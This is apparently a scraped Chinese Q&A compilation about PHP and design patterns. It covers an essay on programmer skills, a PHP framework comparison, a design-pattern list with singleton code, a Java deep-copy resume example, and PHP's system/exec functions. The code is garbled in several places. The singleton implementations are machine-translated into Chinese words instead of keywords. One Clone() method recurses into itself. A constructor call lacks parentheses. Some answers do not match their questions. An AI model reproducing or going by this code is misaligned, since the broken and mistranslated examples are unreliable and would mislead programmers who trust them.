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php原型模式

發布時間:2022-08-15 06:41:13

『壹』 初學者用php做個客戶與項目關系管理系統,但需求分析這一塊弄的不好,望有經驗師傅指導下~~

程序員是一種技術工作,在IT的發展中有相當重要的地位,從底層硬體通訊協議的建立, 到數據傳輸層的處理,到操作系統的建設,到資料庫平台的建設,一直到應用層上各種數 據營銷平台的搭建,程序員在裡面都扮演著舉足輕重的角色並為IT事業的發展做出了巨大 的貢獻。

中國有很多精於編碼的人,但是中國軟體行業,尤其是網路應用開發方面誤區很大,很難形成有規模的軟體開發力量和產品能力,不但比美國差距甚遠,和印度相比也是頗有不如。這些問題不是在於中國程序員的智商和工作努力狀況,也不是在於國家和民間對開發的投入程度,而是很大程度上,有一些對技術,對程序開發,對項目設計方面的思想誤區,這些誤區,導致了軟體行業的產品化能力不足,缺乏規模化和大型復用系統研發能力,可以說,改變認識誤區,是解決軟體行業小作坊模式和個體英雄模式所帶來的局限性 的重要工作。

中國有很多小朋友,他們18,9歲或21,2歲,通過自學也寫了不少代碼,他們有的代碼寫的很漂亮,一些技術細節相當出眾,也很有鑽研精神,但是他們被一些錯誤的認識和觀點左右,缺乏對系統,對程序的整體理解能力,這些人,一個網上的朋友說得很好,他們實際 上只是一些Coding fans,壓根沒有資格稱為程序員,但是據我所知,不少小網路公司的 CTO就是這樣的coding fans,拿著嚇人的工資,做著嚇人的項目,項目的結局通常也很嚇 人。

程序員基本素質:

作一個真正合格的程序員,或者說就是可以真正合格完成一些代碼工作的程序員,應該具 有的素質。

1:團隊精神和協作能力

把它作為基本素質,並不是不重要,恰恰相反,這是程序員應該具備的最基本的,也是最重要的安身立命之本。把高水平程序員說成獨行俠的都是在囈語,任何個人的力量都是有限的,即便如linus這樣的天才,也需要通過組成強大的團隊來創造奇跡,那些遍布全球的為linux寫核心的高手們,沒有協作精神是不可想像的。獨行俠可以作一些賺錢的小軟體發點小財,但是一旦進入一些大系統的研發團隊,進入商業化和產品化的開發任務,缺 乏這種素質的人就完全不合格了。

2:文檔習慣

說高水平程序員從來不寫文檔的肯定是乳臭未乾的毛孩子,良好的文檔是正規研發流程中 非常重要的環節,作為代碼程序員,30%的工作時間寫技術文檔是很正常的,而作為高級 程序員和系統分析員,這個比例還要高很多。

缺乏文檔,一個軟體系統就缺乏生命力,在未來的查錯,升級以及模塊的復用時就都會遇 到極大的麻煩。

3:規范化,標准化的代碼編寫習慣

作為一些外國知名軟體公司的規矩,代碼的變數命名,代碼內注釋格式,甚至嵌套中行縮 進的長度和函數間的空行數字都有明確規定,良好的編寫習慣,不但有助於代碼的移植和 糾錯,也有助於不同技術人員之間的協作。

有些coding fans叫囂高水平程序員寫的代碼旁人從來看不懂,這種叫囂只能證明他們自 己壓根不配自稱程序員。代碼具有良好的可讀性,是程序員基本的素質需求。

再看看整個linux的搭建,沒有規范化和標准化的代碼習慣,全球的研發協作是絕對不可 想像的。

4:需求理解能力

程序員需要理解一個模塊的需求,很多小朋友寫程序往往只關注一個功能需求,他們把性能指標全部歸結到硬體,操作系統和開發環境上,而忽視了本身代碼的性能考慮,有人曾經放言說寫一個廣告交換程序很簡單,這種人從來不知道在百萬甚至千萬數量級的訪問情況下的性能指標是如何實現的,對於這樣的程序員,你給他深藍那套系統,他也做不出太極鏈的並訪能力。性能需求指標中,穩定性,並訪支撐能力以及安全性都很重要,作為程序員需要評估該模塊在系統運營中所處的環境,將要受到的負荷壓力以及各種潛在的危險和惡意攻擊的可能性。就這一點,一個成熟的程序員至少需要2到3年的項目研發和跟蹤經 驗才有可能有心得。

5:復用性,模塊化思維能力

經常可以聽到一些程序員有這樣的抱怨,寫了幾年程序,變成了熟練工,每天都是重復寫 一些沒有任何新意的代碼,這其實是中國軟體人才最大浪費的地方,一些重復性工作變成 了熟練程序員的主要工作,而這些,其實是完全可以避免的。

復用性設計,模塊化思維就是要程序員在完成任何一個功能模塊或函數的時候,要多想一些,不要局限在完成當前任務的簡單思路上,想想看該模塊是否可以脫離這個系統存在,是否可以通過簡單的修改參數的方式在其他系統和應用環境下直接引用,這樣就能極大避免重復性的開發工作,如果一個軟體研發單位和工作組能夠在每一次研發過程中都考慮到這些問題,那麼程序員就不會在重復性的工作中耽誤太多時間,就會有更多時間和精力投 入到創新的代碼工作中去。

一些好的程序模塊代碼,即便是70年代寫成的,拿到現在放到一些系統裡面作為功能模塊 都能適合的很好,而現在我看到的是,很多小公司軟體一升級或改進就動輒全部代碼重 寫,大部分重復性工作無謂的浪費了時間和精力。

程序員應具備的素質中

6:測試習慣

作為一些商業化正規化的開發而言,專職的測試工程師是不可少的,但是並不是說有了專職的測試工程師程序員就可以不進行自測;軟體研發作為一項工程而言,一個很重要的特點就是問題發現的越早,解決的代價就越低,程序員在每段代碼,每個子模塊完成後進行認真的測試,就可以盡量將一些潛在的問題最早的發現和解決,這樣對整體系統建設的效 率和可靠性就有了最大的保證。

測試工作實際上需要考慮兩方面,一方面是正常調用的測試,也就是看程序是否能在正常調用下完成基本功能,這是最基本的測試職責,可惜在很多公司這成了唯一的測試任務,實際上還差的遠那;第二方面就是異常調用的測試,比如高壓力負荷下的穩定性測試,用戶潛在的異常輸入情況下的測試,整體系統局部故障情況下該模塊受影響狀況的測試,頻發的異常請求阻塞資源時的模塊穩定測試等等。當然並不是程序員要對自己的每段代碼都需要進行這種完整測試,但是程序員必須清醒認識自己的代碼任務在整體項目中的地位和各種性能需求,有針對性的進行相關測試並盡早發現和解決問題,當然這需要上面提到的 需求理解能力。

7:學習和總結的能力

程序員是人才很容易被淘汰,很容易落伍的職業,因為一種技術可能僅僅在三兩年內具有 領先性,程序員如果想安身立命,就必須不斷跟進新的技術,學習新的技能。

善於學習,對於任何職業而言,都是前進所必需的動力,對於程序員,這種要求就更加高 了。

但是學習也要找對目標,一些小coding fans們,他們也津津樂道於他們的學習能力,一會學會了asp,一會兒學會了php,一會兒學會了jsp,他們把這個作為炫耀的資本,盲目的追逐一些膚淺的,表面的東西和名詞,做網路程序不懂通訊傳輸協議,做應用程序不懂中斷向量處理,這樣的技術人員,不管掌握了多少所謂的新語言,永遠不會有質的提 高。

善於總結,也是學習能力的一種體現,每次完成一個研發任務,完成一段代碼,都應當有 目的的跟蹤該程序的應用狀況和用戶反饋,隨時總結,找到自己的不足,這樣逐步提高, 一個程序員才可能成長起來。

一個不具備成長性的程序員,即便眼前看是個高手,建議也不要選用,因為他落伍的時候 馬上就到了。

具備以上全部素質的人,應當說是夠格的程序員了,請注意以上的各種素質都不是由IQ決 定的,也不是大學某些課本里可以學習到的,需要的僅僅是程序員對自己工作的認識,是 一種意識上的問題。

那麼作為高級程序員,以至於系統分析員,也就是對於一個程序項目的設計者而言,除了 應該具備上述全部素質之外,還需要具備以下素質:

第一,需求分析能力

對於程序員而言,理解需求就可以完成合格的代碼,但是對於研發項目的組織和管理者, 他們不但要理解客戶需求,更多時候還要自行制定一些需求,為什麼這么說呢?

一般而言,進行研發任務,也許是客戶提出需求,也許是市場和營銷部門提出的需求,這時候對於研發部門,他們看到的不是一個完整的需求,通常而言,該需求僅僅是一些功能上的要求,或者更正規些,可能獲得一個完整的用戶視圖;但是這都不夠,因為客戶由於非技術因素多一些,他們可能很難提出完整和清晰,或者說專業性的性能需求,但是對於項目組織者和規劃者,他必須能夠清醒認識到這些需求的存在並在完成需求分析報告的時候適當的提出,同時要完整和清晰的體現在設計說明書裡面,以便於程序員編碼時不會失 去這些准則。

程序設計者必須正確理解用戶需求所處的環境,並針對性做出需求的分析,舉例而言,同樣一個軟體通過ASP租用方式發布和通過License方式發布,性能需求可能就是有區別的,前者強調的是更好的支撐能力和穩定性,而後者則可能更強調在各種平台下的普適性和安 裝使用的簡捷性。

第二,項目設計方法和流程處理能力

程序設計者必須能夠掌握不少於兩到三種的項目設計方法(比如自頂至下的設計方法,比 如快速原型法等等),並能夠根據項目需求和資源搭配來選擇合適的設計方法進行項目的 整體設計。

設計方法上選擇不當,就會耽誤研發周期,浪費研發資源,甚至影響研發效果。

一個程序設計者還需要把很多功夫用在流程圖的設計和處理上,他需要做數據流圖以確立 數據詞典;他需要加工邏輯流圖以形成整體的系統處理流程。

一個流程有問題的系統,就算代碼多漂亮,每個模塊多精緻,也不會成為一個好的系統。 當然,做好流程分析並選擇好項目設計方法,都需要在需求分析能力上具有足夠的把 握。

第三,復用設計和模塊化分解能力

這個似乎又是老調重談,前面基本素質上不是已經說明了這個問題嗎?

作為一個從事模塊任務的程序員,他需要對他所面對的特定功能模塊的復用性進行考慮,而作為一個系統分析人員,他要面對的問題復雜的多,需要對整體系統按照一種模塊化的分析能力分解為很多可復用的功能模塊和函數,並針對每一模塊形成一個獨立的設計需求。舉個例子,好比是汽車生產,最早每輛汽車都是獨立安裝的,每個部件都是量身定做的,但是後來不一樣了,機器化大生產了,一個汽車廠開始通過流水線來生產汽車,獨立部件開始具有一定的復用性,在後來標准化成為大趨勢,不同型號,品牌甚至不同廠商的汽車部件也可以進行方便的換裝和升級,這時候,汽車生產的效率達到最大化。軟體工程也是同樣的道理,一個成熟的軟體行業,在一些相關項目和系統中,不同的部件是可以隨意換裝的,比如微軟的許多桌面軟體,在很多操作模塊(如打開文件,保存文件等等)都是復用的同一套功能模塊,而這些介面又通過一些類庫提供給了桌面應用程序開發者方便 掛接,這就是復用化的模塊設計明顯的一個佐證。

將一個大型的,錯綜復雜的應用系統分解成一些相對獨立的,具有高度復用性的,並能僅 僅依靠幾個參數完成數據聯系的模塊組合,是作為高級程序員和系統分析員一項最重要的 工作,合適的項目設計方法,清晰的流程圖,是實現這一目標的重要保證。

第四,整體項目評估能力

作為系統設計人員,必須能夠從全局出發,對項目又整體的清醒認識,比如公司的資源配置是否合理和到位,比如工程進度安排是否能最大化體現效率又不至於無法按期完成。評估項目整體和各個模塊的工作量,評估項目所需的資源,評估項目可能遇到的困難,都需要大量的經驗積累,換言之,這是一種不斷總結的累計才能達到的境界。在西方一些軟體系統設計的帶頭人都是很年長的,比如4,50歲,甚至更老,他們在編碼方面已經遠遠不如年輕人那樣活絡,但是就項目評估而言,他們幾十年的經驗積累就是最重要和寶貴的財富。中國缺這么一代程序員,主要還不是缺那種年紀的程序員,而是那種年紀的程序員基本上都是研究單位作出來的,都不是從專業的產品化軟體研發作出來的,他們沒有能積累 那種產品化研發的經驗,這也是沒有辦法的事情。

程序員應具備的素質下

第五,團隊組織管理能力

完成一個項目工程,需要團隊的齊心協力,作為項目設計者或研發的主管人,就應當有能 力最大化發揮團隊的整體力量,技術管理由於其專業性質,不大同於一般的人事管理,因 為這裡面設計了一些技術性的指標和因素。

首先是工作的量化,沒有量化就很難做到合適的績效考核,而程序量化又不是簡單的代碼 行數可以計算的,因此要求技術管理人員需要能真正評估一個模塊的復雜性和工作量。

其次是對團隊協作模式的調整,一般而言,程序開發的協作通常分為小組進行,小組有主 程序員方式的,也有民主方式的,根據程序員之間的能力水平差距,以及根據項目研發的 需求,選擇合適的組隊方式,並能將責權和成員的工作任務緊密結合,這樣才能最大發揮 組隊的效率。

一個代碼水平高的人,未必能成為一個合格的項目研發主管,這方面的能力欠缺往往是容 易被忽視的。

綜上可以看到,作為一個主管研發的負責人,一個項目設計者,所需要具備的素質和能力並不是程序代碼編寫的能力,當然一般情況下,一個程序員通過不斷的總結提高達到了這種素質的時候,他所具有的代碼編寫能力也已經相當不簡單了,但是請注意這裡面的因果關系,一個高水平的項目設計者通常已經是代碼編寫相當優秀的人了,但是並不是一個代碼相當優秀的程序員就可以勝任項目設計的工作,這裡面存在的也不是智商和課本的問題,還是在於一個程序員在積累經驗,逐步提升的時候沒有意識到應當思考哪方面的東西,沒有有意識的就項目的組織和復用設計進行揣摩,沒有經常性的文檔習慣和總結習 慣,不改變這些,我們的合格的項目設計者還是非常欠缺。

另外,為防止有無聊的人和我較真,補充一點,本文針對目標是作商業化的軟體項目和工程,那些科研機構的編程高手,比如演算法高手,比如圖象處理高手,他們的工作是研究課題而非直接完成商業軟體(當然最終間接成為商業產品,比如微軟研究院在作的研究課題),因此他們強調的素質可能是另外的東西,這些人(專家),並不能說是程序員,不 能用程序員的標准去衡量。

最後補充一點東西,一個軟體項目研發的設計流程是怎樣的呢?以通常標準的設計方法為 例,(不過筆者喜歡快速原型法)。

第一個步驟是市場調研,技術和市場要結合才能體現最大價值。

第二個步驟是需求分析,這個階段需要出三樣東西,用戶視圖,數據詞典和用戶操作手 冊。

用戶視圖是該軟體用戶(包括終端用戶和管理用戶)所能看到的頁面樣式,這裡麵包含了 很多操作方面的流程和條件。

數據詞典是指明數據邏輯關系並加以整理的東東,完成了數據詞典,資料庫的設計就完成 了一半多。

用戶操作手冊是指明了操作流程的說明書。

請注意,用戶操作流程和用戶視圖是由需求決定的,因此應該在軟體設計之前完成,完成 這些,就為程序研發提供了約束和准繩,很遺憾太多公司都不是這樣做的,因果顛倒,順 序不分,開發工作和實際需求往往因此產生隔閡脫節的現象。

需求分析,除了以上工作,筆者以為作為項目設計者應當完整的做出項目的性能需求說明 書,因為往往性能需求只有懂技術的人才可能理解,這就需要技術專家和需求方(客戶或 公司市場部門)能夠有真正的溝通和了解。

第三個步驟是概要設計,將系統功能模塊初步劃分,並給出合理的研發流程和資源要求。作為快速原型設計方法,完成概要設計就可以進入編碼階段了,通常採用這種方法是因為涉及的研發任務屬於新領域,技術主管人員一上來無法給出明確的詳細設計說明書,但是並不是說詳細設計說明書不重要,事實上快速原型法在完成原型代碼後,根據評測結果和 經驗教訓的總結,還要重新進行詳細設計的步驟。

第四個步驟是詳細設計,這是考驗技術專家設計思維的重要關卡,詳細設計說明書應當把具體的模塊以最』干凈』的方式(黑箱結構)提供給編碼者,使得系統整體模塊化達到最大;一份好的詳細設計說明書,可以使編碼的復雜性減低到最低,實際上,嚴格的講詳細設計說明書應當把每個函數的每個參數的定義都精精細細的提供出來,從需求分析到概要設計到完成詳細設計說明書,一個軟體項目就應當說完成了一半了。換言之,一個大型軟 件系統在完成了一半的時候,其實還沒有開始一行代碼工作。

那些把作軟體的程序員簡單理解為寫代碼的,就從根子上犯了錯誤了。

第五個步驟是編碼,在規范化的研發流程中,編碼工作在整個項目流程里最多不會超過1/ 2,通常在1/3的時間,所謂磨刀不誤砍柴功,設計過程完成的好,編碼效率就會極大提高,編碼時不同模塊之間的進度協調和協作是最需要小心的,也許一個小模塊的問題就可能影響了整體進度,讓很多程序員因此被迫停下工作等待,這種問題在很多研發過程中都出現過。編碼時的相互溝通和應急的解決手段都是相當重要的,對於程序員而言,bug永遠存在,你必須永遠面對這個問題,大名鼎鼎的微軟,可曾有連續三個月不發補丁的時候 嗎?從來沒有!

第六個步驟是測試

測試有很多種:

按照測試執行方,可以分為內部測試和外部測試

按照測試范圍,可以分為模塊測試和整體聯調

按照測試條件,可以分為正常操作情況測試和異常情況測試

按照測試的輸入范圍,可以分為全覆蓋測試和抽樣測試

以上都很好理解,不再解釋。

總之,測試同樣是項目研發中一個相當重要的步驟,對於一個大型軟體,3個月到1年的外 部測試都是正常的,因為永遠都會又不可預料的問題存在。

完成測試後,完成驗收並完成最後的一些幫助文檔,整體項目才算告一段落,當然日後少 不了升級,修補等等工作,只要不是想通過一錘子買賣騙錢,就要不停的跟蹤軟體的運營 狀況並持續修補升級,知道這個軟體被徹底淘汰為止。

寫這些步驟算不上賣弄什麼,因為實話講我手邊是一本《軟體工程》,在大學里這是計算機專業的必修課程,但是我知道很多程序員似乎從來都只是熱衷於什麼《30天精通VC》之類的,他們有些和我一樣游擊隊出身,沒有正規學過這個專業,還有一些則早就在混夠學 分後就把這些真正有用的東西還給了老師。

網上現在也很浮躁,一些coding fans亂嚷嚷,混淆視聽,實際上真正的技術專家很少在網上亂發帖子的,如筆者這樣不知天高地厚的,其實實在是算不上什麼高手,只不過看不慣這種對技術,對程序員的誤解和胡說,只好挺身而出,做撥亂反正之言,也希望那些還 沉迷於一些錯誤人士的coding fans們能認真想想,走到正途上,畢竟那些聰明的頭腦還 遠遠沒有發揮應有的價值。

『貳』 PHP中的各種框架

CodeIgniter、CakePHP、ZendFramework、Symfony這幾個是國外的,你可以參考下http://www.isstudy.com
CodeIgniter
優點:
1. 配置簡單,全部的配置使用PHP腳本來配置,執行效率高;具有基本的路由功能,能夠進行一定程度的路由;具有初步的Layout功能,能夠製作一定程度的界面外觀;資料庫層封裝的不錯,具有基本的MVC功能
2. 快速簡潔,代碼不多,執行性能高,框架簡單,容易上手,學習成本低,文檔詳細;自帶了很多簡單好用的library,框架適合小型應用
缺點:
1. 把Model層簡單的理解為資料庫操作
2. 框架略顯簡單,只能夠滿足小型應用,略微不太能夠滿足中型應用需要
評價:
總體來說,拿CodeIgniter來完成簡單快速的應用還是值得,同時能夠構造一定程度的layout,便於模板的復用,數據操作層來說封裝的不錯,並且CodeIgniter沒有使用很多太復雜的設計模式,執行性能和代碼可讀性上都不錯。至於附加的 library 也還不錯,簡潔高效。
CakePHP
優點:
1. CakePHP是最類似於RoR的框架,包括設計方式,資料庫操作的Active Record方式;設計層面很優雅,沒有自帶多餘的 library,所有的功能都是純粹的框架,執行效率還不錯;資料庫層的 hasOne, hasMany 功能很強大,對於復雜業務處理比較合適;路由功能,配置功能還不錯;自動構建腳手架(scaffold)很強大;適合中型應用;基本實現過了MVC每一層;具有自動操作命令行腳本功能;
2. 文檔比較全,在國內推廣的比較成功,大部分都知道CakePHP,學習成本中等
缺點:
1. CakePHP非常嚴重的問題是把Model理解為資料庫層操作,嚴重影響了除了資料庫之外的操作能力
2. CakePHP的cache功能略顯薄弱,配置功能稍嫌弱;CakePHP不適合大型應用,只適合中型應用,小型應用來說略微的學習成本高了點
評價:
總體來說CakePHP框架代表了PHP框架很重要的一個時代和代表,並且目前發揮著很重要的作用,不少自己寫的框架都模仿了CakePHP的方式,是個里程碑式的產品;CakePHP透露著RoR的敏捷開發方式和把資料庫操作認為是唯一Model的設計思想,作為開發快速應用和原型是絕好的工具;同樣,用來做Web2.0網站的開發框架,也是值得選擇的。
【 Zend Framework 】
優點:
1. 官方出品,自帶了非常多的 library,框架本身使用了很多設計模式來編寫,架構上很優雅,執行效率中等;MVC設計中,比較簡潔,具有路由功能,配置文件比較強大(能夠處理 XML和php INI),各種 library 很強大,是所有PHP框架中各種功能最全面的,包括它不僅是一個框架,更是一個大類庫(取代PEAR),這是它的主要特色;能夠直觀的支持除資料庫操作之外的Model層(比 CodeIgniter 和 CakePHP 強),並且能夠很輕易的使用Loader功能載入其他新增加的Class;Cache功能很強大,從前端Cache到後端Cache都支持,後端 Cache支持Memcache、APC、SQLite、文件等等方式;資料庫操作功能很強大,支持各種驅動(適配器)
2. 文檔很全,在國內社區很成熟,並且目前不少Web 2.0網站在使用,學習成本中等
缺點:
1. MVC功能完成比較弱,View層簡單實現(跟沒實現一樣),無法很強大的控制前端頁面
2. 沒有自動化腳本,創建一個應用,包括入口文件,全部必須自己手工構建,入門成本高
3. Zend Framework 作為一個中型應用框架問題不大,也能夠勉強作為大型應用的框架,但是作為一個很成熟的大型PHP框架來說,還需要一些努力
評價:
作為官方出品的框架,Zend Framework的野心是可以預見的,想把其他框架擠走,同時封裝很多強大的類庫,能夠提供一站式的框架服務,並且他們的開發團隊很強大,完全足夠有能力開發很強大的產品出來,所以基本可以確定的是Zend Framework前途無量,如果花費更多的時間去完善框架。同樣的,Zend Framework架構本身也是比較優雅的,說明Zend官方是有很多高手的,設計理念上比較先進,雖然有一些功能實現的不夠完善,比如View層,自動化腳本等等,這些都有賴於未來的升級。總體來說Zend Framework是最值得期待的框架,當然,你目前要投入你的項目中使用也是完全沒問題的。
【 Symfony 】
優點:
1. Symfony 是我了解的PHP框架中功能最強大的,而且我使用時間比較長,但是很多功能還是沒有挖掘出來;它完整實現了MVC三層,封裝了所有東西,包括 $_POST,$_GET 數據,異常處理,調試功能,數據檢測;包含強大的緩存功能,自動載入Class(這個功能很爽),強大的i18n國家化支持;具有很強大的view層操作,能夠零碎的包含單個多個文件;非常強大的配置功能,使用yml配置能夠控制所有框架和程序運行行為,強大到讓人無語;能夠很隨意的定義各種自己的 class,並且symfony能夠自動載入(auto load)這些class,能夠在程序中隨意調用;包含強大的多層級項目和應用管理:Project --> Application --> Mole --> Action,能夠滿足一個項目下多個應用的需要,並且每層可以定義自己的類庫,配置文件,layout;非常強大的命令行操作功能,包括建立項目、建立應用、建立模塊、刷新緩存等等;
2. Symfony絕對是開發大型復雜項目的首選,因為使用了Symfony,將大大節約開發成本,並且多人協作的時候,不會出現問題,在Project級別定義好基礎Class以後,任何模塊都能夠重用,大大復用代碼
缺點:
1. 資料庫操作model採用了重量級的propel和creole,不過在我測試的版本中已經把他們移到了addon里,可用可不用
2. 緩存功能無法控制,每次開發調試總是緩存,需要執行 symfony cc, symfony rc 來清除和重建緩存;
3. 效率不是很高,特別是解析模板和讀取配置文件的過程,花費時間不少;
4. 學習成本很高,並且國內沒有成熟的社區和文檔,連中文手冊都沒有,相應的要掌握所有功能,需要花費比較多的時間
評價:
Symfony絕對是企業級的框架,唯一能夠貌似能夠跟java領域哪些強悍框架抗衡的東西;強悍的東西,自然學習復雜,但是相應的對項目開發也比較有幫助,自然是推薦復雜的項目使用Symfony來處理,覺得是值得,後期的維護成本比較低,復用性很強。相應的如果使用Symfony的應該都是比較復雜的互聯網項目,那麼相應的就要考慮關於資料庫分布的問題,那麼就需要拋棄Symfony自帶的資料庫操作層,需要自己定義,當然了,Symfony支持隨意的構造model層。
【 總評 】
以上數款框架,各有特色,而且都是開源項目,不過框架針對的項目不一樣,一般來說 CodeIngiter 比較適合小型項目,CakePHP 和 Zend Framework 比較適合中型項目,Symfony 比較適合大型重量級項目,在項目選型的時候,要充分考慮框架的可以定製性、擴展性,因為每個項目都無法確定你是否會隨著需求的變化進行改變。
相對來說,Zend Framework 和 Symfony 應對變化的能力比較強,特別是能夠隨意定製 model 層的Class,能夠非常方便增加自己業務或者數據處理類,我是個人比較推薦在中大型項目中使用的框架。CodeIngiter 和 CakePHP 在中小型項目中同樣能夠發揮重大作用,快速開發和原型構建,非常適合目標不清晰的原型項目的開發。了解一個框架最好的方式就是使用它,學習它最好的方式就是看視頻。
仁者見仁,智者見智,在項目挑選框架的時候,請先認真考察項目的需求和未來的變化,然後選擇合適的框架,讓項目開發速度和後期維護性得到一個合理的平衡,當然了,也許,自己寫一個框架更適合。

『叄』 你熟悉的設計模式有哪些寫出單例模式的實現代碼

23個設計模式:

根據目的設計模式可以分為創造模式,結構模式和行為模式,創建模式用於處理對象的創建。結構模式用於處理類或對象的組合。

行為模式用於描述類或對象如何交互以及如何分配職責,創建模式用於處理對象的創建。主要包括以下五種設計模式:

工廠方法模式()

抽象工廠模式(AbstractFactoryPattern)

建造者模式(BuilderPattern)

原型模式(PrototypePattern)

單例模式(SingletonPattern)

結構模式用於處理類或對象的組合,包括以下七個設計模式:

適配器模式(AdapterPattern)

橋接模式(BridgePattern)

組合模式(CompositePattern)

裝飾者模式(DecoratorPattern)

外觀模式(FacadePattern)

享元模式(FlyweightPattern)

代理模式(ProxyPattern)

行為模式描述類或對象如何交互以及它們如何分配職責。它由以下11種設計模式組成:

責任鏈模式(Chain的ResponsibilityPattern)

命令模式(CommandPattern)

解釋器模式(InterpreterPattern)

迭代器模式(IteratorPattern)

中介者模式(MediatorPattern)

備忘錄模式(MementoPattern)

觀察者模式(ObserverPattern)

狀態模式(StatePattern)

策略模式(StrategyPattern)

模板方法模式(TemplateMethodPattern)

訪問者模式(VisitorPattern)

單例模式實現1:

公共類Singleton{

類共享實例對象

私有靜態單例;單例=零;

//私有構造函數

私有Singleton(){

系統。出去了。這是單例!!);

//獲取單例方法

公共同步靜態單例getInstance(){

//確定共享對象是否為空,如何空一個新對象

If(singleton==null){

singleton=newsingleton();

返回單例。

單例模式實現2:

公共類Singleton{

類共享實例對象實例化

=newSingleton();

//私有構造函數

私有Singleton(){

系統:出去了,這是單例!!);

//獲取單例方法

公共靜態單例getInstance(){

直接返回共享對象

返回單例。

(3)php原型模式擴展閱讀:

注意事項:

設計模式主要分三個類型:創建型和行為型。

Singleton:確保一個類只有一個實例,並為其提供一個全局訪問點

AbstractFactory:提供一個介面,用於創建一系列相關或相互依賴的對象,而無需指定它們的具體類。

FactoryMethod:定義一個用於創建對象的介面,並讓子類決定實例化哪個類。工廠方法將類的實例化延遲到子類。

Builder:將復雜對象的構造與其表示分離,使相同的構造過程可以創建不同的表示。

Prototype:指定要使用Prototype實例創建的對象的類型,並復制該原型來創建一個新對象。

Composite:將對象組合成樹狀結構,以表示整體各部分之間的關系。組合使用戶一致地使用單個對象和組合對象。

Facade:為子系統fa中的一組介面提供一致的介面。Ade提供了一個高級介面,使子系統更易於使用。

Proxy:為其他對象提供一個代理,以控制對該對象的訪問

Adapter:將一個介面類轉換為客戶想要的另一個介面類。適配器模式使那些由於介面不兼容而無法一起工作的類一起工作。

Decrator:式比子類化更靈活,可以為對象動態添加一些額外的職責。

Bridge:模式將抽象部分與其實現部分分離,以便它們可以獨立地更改。

Flyweight:享元模式

『肆』 php實現原型模式中深拷貝是什麼意思

找工作之前製作簡歷時,需要做很多份簡歷,而且簡歷的格式是一樣的,也就意味著要做很多重復性的工作。在編程過程中,遇到重復性工作多的時候,粘貼復制是最快的解決辦法。但是一旦這些代碼需要修改時,那麼每一處用到這段代碼的地方都需要進行修改,這也就增加了代碼維護工作。在學習VB的時候,我們總是把相同的代碼放在模塊中,然後用到這段代碼的地方就調用模塊,這樣的話耦合性又是比較大的。那麼,解決這個問題到底該怎麼辦呢?

設計模式中的原型模式就很好的解決了這個問題。原型模式是用原型實例指定創建對象的種類,並且通過拷貝這些原型創建的對象。

也就是說,先生成一份模板,然後其餘的對象都去拷貝這份模板,那麼得到的對象就都是一樣的了。

下面小編就以簡歷復制為例子,簡單介紹原型模式:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;">//工作經歷類
class WorkExperience {
public String workDate;
public String company;
}

//簡歷類
class Resume implements Cloneable{
private String name;
private String sex;
private String age;

private WorkExperience work;

public Resume(String name){
this.name=name;
work=new WorkExperience;
}

//設置個人信息
public void SetPersonalInfo(String sex,String age){
this.sex=sex;
this.age=age;
}

//設置工作經歷
public void SetWorkExperience(String workDate,String company){
work.workDate=workDate;
work.company=company;
}

public Object Clone(){
return this.Clone();
}
}

//客戶端
class WorkResume{
public static void main(String[] args){
Resume a =new Resume("張三");
a.SetPersonalInfo("男","20");
a.SetWorkExperience("1998~2000","XX公司");
Resume b=(Resume)a.Clone();
b.SetWorkExperience("2000~2006","YY公司");
}
}</span></span>
這樣設置完成之後得到的結果卻是兩條信息是一樣的,而且工作經歷都是最新的這一條。

做代碼的內存分析,可得到如下圖:

即a、b兩個對象指向的是同一塊內存,也就是說b在進行修改時,a的信息也會被修改,這也就是原型模式的淺復制。淺復制的意思就是說,只把對象a的引用復制給b,二者指向同一區域,當一個修改時,會影響另一個對象。

對代碼進行修改,將工作經歷類改為:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;">//工作經歷類
class WorkExperience implements Cloneable{
private String workDate;
private String company;

public Object Clone(){
WorkExperience obj=new WorkExperience();
obj.workDate=this.workDate;
obj.company=this.company;
return obj;
}
}</span></span>

將簡歷類中的Clone方法改為:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;"> public Object Clone(){
Resume obj=new Resume(this.work);
obj.name=this.name;
obj.sex=this.sex;
obj.age=this.age;
return obj;
}</span></span>

並且在簡歷類中添加私有構造方法:
[java] view plain print?
<span style="font-family:KaiTi_GB2312;font-size:18px;"><span style="font-family:KaiTi_GB2312;font-size:18px;"> private Resume(WorkExperience work){
this.work=(WorkExperience)work.Clone();
} </span></span>
則得到的結果就是我們想要的結果了。

對新代碼進行內存分析,如下圖:

到此為止,原型模式的深淺復制就介紹完了,如果有什麼理解不到位的地方,歡迎廣大讀者給出指導。

總結

深淺復制其實不難,只要把內存分析搞懂了就好了。淺復制是把一個對象的引用復制給另一個對象,二者對同一塊內存區域進行操作,類似於參數傳遞中的傳址。而深復制則是把原型對象的內存區域也復制一份給拷貝對象,二者各自擁有自己的引用,各自操作自己的內存區域,互不影響,類似於參數傳遞中的傳值。

『伍』 什麼是PHP系統外部命令

在打開文件時有些限制
連接MySQL資料庫
基於HTTP的認證
在安全模式下,只有在特定目錄中的外部程序才可以被執行,對其它程序的調用將被拒絕。這個目錄可以在php.ini文件中用safe_mode_exec_dir指令,或在編譯PHP是加上--with-exec-dir選項來指定,默認是/usr/local/php/bin。
如果你調用一個應該可以輸出結果的外部命令(意思是PHP腳本沒有錯誤),得到的卻是一片空白,那麼很可能你的網管已經把PHP運行在安全模式下了。

『陸』 PHP運行EXEC文件

在PHP中調用外部命令,可以用如下三種方法來實現:
1) 用PHP提供的專門函數

PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array
可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二
個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
